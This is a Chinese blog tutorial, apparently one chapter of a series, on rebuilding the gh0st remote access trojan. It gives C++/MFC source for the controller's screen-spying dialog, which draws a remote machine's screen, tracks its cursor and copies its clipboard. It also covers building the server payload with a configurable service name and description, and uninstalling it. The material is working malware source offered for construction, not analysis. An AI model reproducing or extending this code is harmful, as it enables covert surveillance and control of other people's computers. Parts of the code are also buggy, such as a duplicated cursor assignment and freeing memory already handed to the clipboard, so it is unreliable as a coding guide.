    		pSysMenu->AppendMenu(MF_SEPARATOR);
    		pSysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&R)");
    		pSysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&L)");
    		pSysMenu->AppendMenu(MF_SEPARATOR);
    		pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_SCAN, "隔行扫描算法(&S)");
    		pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_DIFF, "差异比较算法(&X)");
    		pSysMenu->AppendMenu(MF_SEPARATOR);
    		pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_1, "1 位黑白(&A)");
    		pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_GRAY, "4 位灰度(&B)");
    		pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_COLOR, "4 位彩色(&C)");
    		pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_GRAY,  "8 位灰度(&D)");
    		pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_COLOR, "8 位彩色(&E)");
    		pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_16, "16位高彩(&F)");
    		pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_32, "32位真彩(&G)");		
    
    		pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
    		pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
    	}
    
    	// TODO: Add extra initialization here
    	CString str;
    	str.Format("\\\\%s %d * %d", m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight);
    	SetWindowText(str);
    
    	m_HScrollPos = 0;
    	m_VScrollPos = 0;
    	m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
    
    	ICONINFO CursorInfo;
    	::GetIconInfo(m_hRemoteCursor, &CursorInfo);
    	if (CursorInfo.hbmMask != NULL)
    		::DeleteObject(CursorInfo.hbmMask);
    	if (CursorInfo.hbmColor != NULL)
    		::DeleteObject(CursorInfo.hbmColor);
    	m_dwCursor_xHotspot = CursorInfo.xHotspot;
    	m_dwCursor_yHotspot = CursorInfo.yHotspot;
    
    	m_RemoteCursorPos.x = 0;
    	m_RemoteCursorPos.x = 0;
    	m_bIsTraceCursor = false;
    
    	// 初始化窗口大小结构  这里的初始化就不讲解了,同服务端一样的位图的图像数据
    	//是我们分配好的缓冲区也就是说我们可以更改这个缓冲区里的数据来改变位图图像
    	m_hDC = ::GetDC(m_hWnd);
    	m_hMemDC = CreateCompatibleDC(m_hDC);
    	m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
    	SelectObject(m_hMemDC, m_hFullBitmap);
    	SetScrollRange(SB_HORZ, 0, m_lpbmi->bmiHeader.biWidth);  
    	SetScrollRange(SB_VERT, 0, m_lpbmi->bmiHeader.biHeight);
    
    	InitMMI();
    	SendNext();
    	return TRUE;  // return TRUE unless you set the focus to a control
    	// 异常: OCX 属性页应返回 FALSE
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76

    添加void InitMMI()

    void CScreenSpyDlg::InitMMI(void)
    {
    	RECT	rectClient, rectWindow;
    	GetWindowRect(&rectWindow);
    	GetClientRect(&rectClient);
    	ClientToScreen(&rectClient);
    
    	int	nBorderWidth = rectClient.left - rectWindow.left; // 边框宽
    	int	nTitleWidth = rectClient.top - rectWindow.top; // 标题栏的高度
    
    	int	nWidthAdd = nBorderWidth * 2 + GetSystemMetrics(SM_CYHSCROLL);
    	int	nHeightAdd = nTitleWidth + nBorderWidth + GetSystemMetrics(SM_CYVSCROLL);
    	int	nMinWidth = 400 + nWidthAdd;
    	int	nMinHeight = 300 + nHeightAdd;
    	int	nMaxWidth = m_lpbmi->bmiHeader.biWidth + nWidthAdd;
    	int	nMaxHeight = m_lpbmi->bmiHeader.biHeight + nHeightAdd;
    
    
    	// 最小的Track尺寸
    	m_MMI.ptMinTrackSize.x = nMinWidth;
    	m_MMI.ptMinTrackSize.y = nMinHeight;
    
    	// 最大化时窗口的位置
    	m_MMI.ptMaxPosition.x = 1;
    	m_MMI.ptMaxPosition.y = 1;
    
    	// 窗口最大尺寸
    	m_MMI.ptMaxSize.x = nMaxWidth;
    	m_MMI.ptMaxSize.y = nMaxHeight;
    
    	// 最大的Track尺寸也要改变
    	m_MMI.ptMaxTrackSize.x = nMaxWidth;
    	m_MMI.ptMaxTrackSize.y = nMaxHeight;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    添加void SendNext()

    void CScreenSpyDlg::SendNext(void)
    {
    	BYTE	bBuff = COMMAND_NEXT;
    	m_iocpServer->Send(m_pContext, &bBuff, 1);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    CPP 中包含#include "…\common\macros.h"解决编译错误

    WM_GETMINMAXINFO 最小或者最大化消息

    void CScreenSpyDlg::OnGetMinMaxInfo(MINMAXINFO* lpMMI)
    {
    	// TODO: 在此添加消息处理程序代码和/或调用默认值
    	// 如果m_MMI已经被赋值
    	if (m_MMI.ptMaxSize.x > 0)
    		memcpy((void *)lpMMI, &m_MMI, sizeof(MINMAXINFO));
    	CDialog::OnGetMinMaxInfo(lpMMI);
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    WM_HScroll 滚动条消息

    
    void CScreenSpyDlg::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
    {
    	// TODO: 在此添加消息处理程序代码和/或调用默认值
    	SCROLLINFO si;
    	int	i;
    	si.cbSize = sizeof(SCROLLINFO);
    	si.fMask = SIF_ALL;
    	GetScrollInfo(SB_HORZ, &si);
    
    	switch (nSBCode)
    	{
    	case SB_LINEUP:
    		i = nPos - 1;
    		break;
    	case SB_LINEDOWN:
    		i = nPos + 1;
    		break;
    	case SB_THUMBPOSITION:
    	case SB_THUMBTRACK:
    		i = si.nTrackPos;
    		break;
    	default:
    		return;
    	}
    
    	i = max(i, si.nMin);
    	i = min(i, (int)(si.nMax - si.nPage + 1));
    
    	RECT rect;
    	GetClientRect(&rect);
    
    	if ((rect.right + i) > m_lpbmi->bmiHeader.biWidth)
    		i = m_lpbmi->bmiHeader.biWidth - rect.right;
    
    	InterlockedExchange((PLONG)&m_HScrollPos, i);
    
    	SetScrollPos(SB_HORZ, m_HScrollPos);
    
    	PostMessage(WM_PAINT);
    	CDialog::OnHScroll(nSBCode, nPos, pScrollBar);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42

    WM_Paint 对话框重新绘制消息

    void CScreenSpyDlg::OnPaint()
    {
    	CPaintDC dc(this); // device context for painting
    	// TODO: 在此处添加消息处理程序代码
    	// 不为绘图消息调用 CDialog::OnPaint()
    	if (m_bIsFirst)
    	{
    		DrawTipString("Please wait - initial screen loading");
    		return;
    	}
    	//这里同样用我们讲过的api 不过他的作用可不仅仅是用来抓图,他还可以显示图像,
    	//为什么呢?  因为抓图,显示图,都是我们的片面想法,这个api的作用就是复制
    	//设备的缓冲区,将桌面设备缓冲区复制到我们的内存缓冲区,这个就是抓图,
    	//将内存缓冲区复制到设备缓冲区就是显示图了。。。。。。。。
    	BitBlt
    		(
    		m_hDC,
    		0,
    		0,
    		m_lpbmi->bmiHeader.biWidth, 
    		m_lpbmi->bmiHeader.biHeight,
    		m_hMemDC,
    		m_HScrollPos,
    		m_VScrollPos,
    		SRCCOPY
    		);
    
    	// (BYTE)-1 = 255;
    	// Draw the cursor
    	//这里画一下鼠标的图像
    	if (m_bIsTraceCursor)
    		DrawIconEx(
    		m_hDC,									// handle to device context 
    		m_RemoteCursorPos.x - ((int) m_dwCursor_xHotspot) - m_HScrollPos, 
    		m_RemoteCursorPos.y - ((int) m_dwCursor_yHotspot) - m_VScrollPos,
    		m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex),	// handle to icon to draw 
    		0,0,										// width of the icon 
    		0,											// index of frame in animated cursor 
    		NULL,										// handle to background brush 
    		DI_NORMAL | DI_COMPAT						// icon-drawing flags 
    		);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42

    void DrawTipString(CString str)

    显示文字

    void CScreenSpyDlg::DrawTipString(CString str)
    {
    	RECT rect;
    	GetClientRect(&rect);
    	COLORREF bgcol = RGB(0x00, 0x00, 0x00);	
    	COLORREF oldbgcol  = SetBkColor(m_hDC, bgcol);
    	COLORREF oldtxtcol = SetTextColor(m_hDC, RGB(0xff,0x00,0x00));
    	ExtTextOut(m_hDC, 0, 0, ETO_OPAQUE, &rect, NULL, 0, NULL);
    
    	DrawText (m_hDC, str, -1, &rect,
    		DT_SINGLELINE | DT_CENTER | DT_VCENTER);
    
    	SetBkColor(m_hDC, oldbgcol);
    	SetTextColor(m_hDC, oldtxtcol);
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    void OnReceiveComplete()

    显示服务端发来的信息

    void CScreenSpyDlg::OnReceiveComplete(void)
    {
    	m_nCount++;
    
    	switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
    	{
    	case TOKEN_FIRSTSCREEN:
    		DrawFirstScreen();            //这里显示第一帧图像 一会转到函数定义
    		break;
    	case TOKEN_NEXTSCREEN:
    		if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN)
    			DrawNextScreenRect();     //这里是第二帧之后的数据了---
    		else
    			DrawNextScreenDiff();     //----当然这里有两种算法 
    		break;                         //我们能转到DrawFirstScreen函数定义
    	case TOKEN_BITMAPINFO:
    		ResetScreen();
    		break;
    	case TOKEN_CLIPBOARD_TEXT:
    		UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
    		break;
    	default:
    		// 传输发生异常数据
    		return;
    	}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    void DrawFirstScreen() 隔行扫描绘制

    void CScreenSpyDlg::DrawFirstScreen(void)
    {
    	m_bIsFirst = false;
    	//这里也很简单就是得到服务端发来的数据 ,将他拷贝到HBITMAP的缓冲区中,这样一个图像就出现了
    	memcpy(m_lpScreenDIB, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_lpbmi->bmiHeader.biSizeImage);
    	//我们到OnPaint()函数
    	//OnPaint();
    	PostMessage(WM_PAINT);
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    void DrawNextScreenDiff()

    void CScreenSpyDlg::DrawNextScreenDiff(void)
    {
    	//这个函数也非常复杂 ,他不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用
    	//OnPaint画上去
    	// 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
    	bool	bIsReDraw = false;
    	int		nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
    	LPVOID	lpFirstScreen = m_lpScreenDIB;
    	LPVOID	lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
    	DWORD	dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
    
    	POINT	oldPoint;
    	memcpy(&oldPoint, &m_RemoteCursorPos, sizeof(POINT));
    	memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
    
    	// 鼠标移动了
    	if (memcmp(&oldPoint, &m_RemoteCursorPos, sizeof(POINT)) != 0)
    		bIsReDraw = true;
    
    	// 光标类型发生变化
    	int	nOldCursorIndex = m_bCursorIndex;
    	m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
    	if (nOldCursorIndex != m_bCursorIndex)
    	{
    		bIsReDraw = true;
    		if (m_bIsCtrl && !m_bIsTraceCursor)
    			SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
    	}
    
    	// 屏幕是否变化
    	if (dwBytes > 0) 
    		bIsReDraw = true;
    
    	__asm
    	{
    		mov ebx, [dwBytes]
    		mov esi, [lpNextScreen]
    		jmp	CopyEnd
    CopyNextBlock:
    		mov edi, [lpFirstScreen]
    		lodsd	// 把lpNextScreen的第一个双字节,放到eax中,就是DIB中改变区域的偏移
    			add edi, eax	// lpFirstScreen偏移eax	
    			lodsd // 把lpNextScreen的下一个双字节,放到eax中, 就是改变区域的大小
    			mov ecx, eax
    			sub ebx, 8 // ebx 减去 两个dword
    			sub ebx, ecx // ebx 减去DIB数据的大小
    			rep movsb
    CopyEnd:
    		cmp ebx, 0 // 是否写入完毕
    			jnz CopyNextBlock
    	}
    
    	if (bIsReDraw) PostMessage(WM_PAINT);;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54

    void DrawNextScreenRect()

    void CScreenSpyDlg::DrawNextScreenRect(void)
    {
    	//这个函数也非常复杂他将传送来的数据 得到变化的区域然后画到屏幕上
    
    	// 根据鼠标是否移动和鼠标是否在变化的区域判断是否重绘鼠标,防止鼠标闪烁
    	bool	bIsReDraw = false;
    	int		nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
    	LPVOID	lpFirstScreen = m_lpScreenDIB;
    	LPVOID	lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
    	DWORD	dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
    
    
    	// 保存上次鼠标所在的位置
    	RECT	rectOldPoint;
    	::SetRect(&rectOldPoint, m_RemoteCursorPos.x, m_RemoteCursorPos.y, 
    		m_RemoteCursorPos.x + m_dwCursor_xHotspot, m_RemoteCursorPos.y + m_dwCursor_yHotspot);
    
    	memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
    
    	//
    	// 判断鼠标是否移动
    	if ((rectOldPoint.left != m_RemoteCursorPos.x) || (rectOldPoint.top != 
    		m_RemoteCursorPos.y))
    		bIsReDraw = true;
    
    	// 光标类型发生变化
    	int	nOldCursorIndex = m_bCursorIndex;
    	m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
    	if (nOldCursorIndex != m_bCursorIndex)
    	{
    		bIsReDraw = true;
    		if (m_bIsCtrl && !m_bIsTraceCursor)
    			SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
    	}
    
    	// 判断鼠标所在区域是否发生变化
    	DWORD	dwOffset = 0;
    	while (dwOffset < dwBytes && !bIsReDraw)
    	{
    		LPRECT	lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
    		RECT rectDest;		
    		if (IntersectRect(&rectDest, &rectOldPoint, lpRect))
    			bIsReDraw = true;
    		dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
    	}
    	bIsReDraw = bIsReDraw && m_bIsTraceCursor;
    	//
    
    	dwOffset = 0;
    	while (dwOffset < dwBytes)
    	{
    		LPRECT	lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
    		int	nRectWidth = lpRect->right - lpRect->left;
    		int	nRectHeight = lpRect->bottom - lpRect->top;
    
    		m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
    		m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
    		m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3) 
    			* m_lpbmi_rect->bmiHeader.biHeight;
    
    		StretchDIBits(m_hMemDC, lpRect->left, lpRect->top, nRectWidth,
    			nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
    			m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
    
    		// 不需要重绘鼠标的话,直接重绘变化的部分
    		if (!bIsReDraw)
    			StretchDIBits(m_hDC, lpRect->left - m_HScrollPos, lpRect->top - m_VScrollPos, nRectWidth,
    			nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
    			m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
    
    		dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
    	}
    
    	if (bIsReDraw) PostMessage(WM_PAINT);;	
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76

    void ResetScreen() 重载屏幕分辨率

    void CScreenSpyDlg::ResetScreen(void)
    {
    	UINT	nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
    	if (m_lpbmi != NULL)
    	{
    		int	nOldWidth = m_lpbmi->bmiHeader.biWidth;
    		int	nOldHeight = m_lpbmi->bmiHeader.biHeight;
    
    		delete[] m_lpbmi;
    		delete[] m_lpbmi_rect;
    
    		m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
    		m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
    
    		memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
    		memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
    
    		DeleteObject(m_hFullBitmap);
    		m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
    		SelectObject(m_hMemDC, m_hFullBitmap);
    
    		memset(&m_MMI, 0, sizeof(MINMAXINFO));
    		InitMMI();
    
    		// 分辨率发生改变
    		if (nOldWidth != m_lpbmi->bmiHeader.biWidth || nOldHeight != m_lpbmi->bmiHeader.biHeight)
    		{
    			RECT	rectClient, rectWindow;
    			GetWindowRect(&rectWindow);
    			GetClientRect(&rectClient);
    			ClientToScreen(&rectClient);
    
    			// 计算ClientRect与WindowRect的差距(标题栏,滚动条)
    			rectWindow.right = m_lpbmi->bmiHeader.biWidth +  rectClient.left + (rectWindow.right - rectClient.right);
    			rectWindow.bottom = m_lpbmi->bmiHeader.biHeight + rectClient.top + (rectWindow.bottom - rectClient.bottom);
    			MoveWindow(&rectWindow);
    		}
    	}	
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    void UpdateLocalClipboard(char *buf, int len)

    void CScreenSpyDlg::UpdateLocalClipboard(char *buf, int len)
    {
    	if (!::OpenClipboard(NULL))
    		return;
    
    	::EmptyClipboard();
    	HGLOBAL hglbCopy = GlobalAlloc(GPTR, len);
    	if (hglbCopy != NULL) { 
    		// Lock the handle and copy the text to the buffer.  
    		LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy); 
    		memcpy(lptstrCopy, buf, len); 
    		GlobalUnlock(hglbCopy);          // Place the handle on the clipboard.  
    		SetClipboardData(CF_TEXT, hglbCopy);
    		GlobalFree(hglbCopy);
    	}
    	CloseClipboard();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    7.7 完善主控端

    1.搜索桌面管理并添加代码:
          	BYTE	bToken = COMMAND_SCREEN_SPY;  //向服务端发送COMMAND_SCREEN_SPY CKernelManager::OnReceive搜之
    	SendSelectCommand(&bToken, sizeof(BYTE));
    
    
    2.void CPCRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)中将
             	case TOKEN_BITMAPINFO: //
    		// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
    		g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
    		break;
       剪贴出来
    
    
    3.添加WM_OPENSCREENSPYDIALOG的自定义消息
      (1)gh0st中搜索这个消息 
       (2)添加代码	ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
       (3)添加afx_msg	LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
        (4)添加
    LRESULT CGh0stView::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
    {
    	ClientContext *pContext = (ClientContext *)lParam;
    
    	CScreenSpyDlg	*dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
    	// 设置父窗口为卓面
    	dlg->Create(IDD_SCREENSPY, GetDesktopWindow());
    	dlg->ShowWindow(SW_SHOW);
    	
    	pContext->m_Dialog[0] = SCREENSPY_DLG;
    	pContext->m_Dialog[1] = (int)dlg;
    	return 0;
    }
    
    4.测试
    
    5.void CPCRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)中将
               case SCREENSPY_DLG:
    			((CScreenSpyDlg *)dlg)->OnReceiveComplete();
    			break;
    
    
    剪贴出来
    
    6.测试  崩溃了。。。。。。。。  哭了。。。。。。。。。。
    
      大家可能会说 不是复制的代码么?? 怎么会有问题??
    
      其实这个是编译器的问题,我们在绘制图形时调用了OnPaint这个其实是对话框的自绘函数,我们不应直接调用,而是应该发送自绘的
       一个消息  替换所有	OnPaint();
    
    7.测试。。。。。。没有问题。。。。。。。。等下 控制服务端的菜单呢?
    
    8.重写PreTranslateMessage并添加代码
    
    9.添加void SendCommand(MSG* pMsg)
    
    10.添加WM_SysCommand消息
    
    11.添加bool SaveSnapshot()
    
    12.添加void SendLocalClipboard()
    
    13.添加void SendResetAlgorithm(UINT nAlgorithm)
    
    14.复制dot.cur文件到工程下 添加该资源
    
    15.添加void SendResetScreen(int	nBitCount)
    
    16.测试。。。。。。。关闭。。。。。。。。。有崩溃。。。。哭了。。。。。。。。。
    
    17.更改OnClose代码:
           m_pContext->m_Dialog[0] = 0;
    
    	closesocket(m_pContext->m_Socket);
    
    	::ReleaseDC(m_hWnd, m_hDC);
    	DeleteObject(m_hFullBitmap);
    
    	if (m_lpbmi)
    		delete m_lpbmi;
    	m_lpbmi=NULL;
    	if (m_lpbmi_rect)
    		delete m_lpbmi_rect;
    	m_lpbmi_rect=NULL;
    	SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_ARROW));
    
    	m_bIsCtrl = false;
     
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88

    · 跟踪鼠标
    · 色位调整

    桌面管理并添加代码

    client 生成 build

    检查输入是否合法
    对话框是否打开成功
    打开exe文件

    FileToMem(_T(".\\Cache\\Server.exe"));
    
    
    void CBuild::FileToMem(wchar_t* pOldFilePathName)
    {
        this->d_FileSize = 0;
        if(!m_File.Open(pOldFilePathName,CFile::modeRead))
        {
            MessageBox(_T("无法载入配置文件"),_T("提示"),MB_OK|MB_ICONWARNING);
            return;
        }
        //得到原文件大小   
        d_FileSize = m_File.GetLength();
    
        //读取原文件
        //BYTE* pFileData = NULL;
        this->pFileData = NULL;
        this->pFileData = new BYTE[(UINT)d_FileSize];
        m_File.Read(this->pFileData,(UINT)d_FileSize);
        m_File.Close();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    搜索信息
    配置字符串
    服务名
    服务显示名
    描述信息

    问题1 运行文件方式

    C+F5 不调试运行

    需要把cache 目录放到工程目录下
    在这里插入图片描述
    这里的 server.exe

    生成后

    工程目录下debug
    在这里插入图片描述

    双击这个exe
    没有cache文件 会提示无法载入配置文件

    使用宏调试
    定位堆栈出错位置
    在这里插入图片描述

    问题2 怎么卸载服务端

    在这里插入图片描述 在这里插入图片描述

    删除注册表里的内容(不包含宿主Service)

  • 相关阅读:
    SCALA基础
    【Web前端】标签大全HTML/CSS/JavaScript
    Jenkins java8安装版本安装
    RPC框架性能优化思路和具体实现
    项目十结构体与共用体的基本应用
    集群分发脚本xysnc
    FFmpeg开发笔记(七)欧拉系统编译安装FFmpeg
    uniapp设置app端设置 useragent 参数,和说明
    leetcode Top100(14)轮转数组
    从源码MessageSource的三个实现出发实战spring·i18n国际化
  • 原文地址:https://blog.csdn.net/qq_33608000/article/details/134090311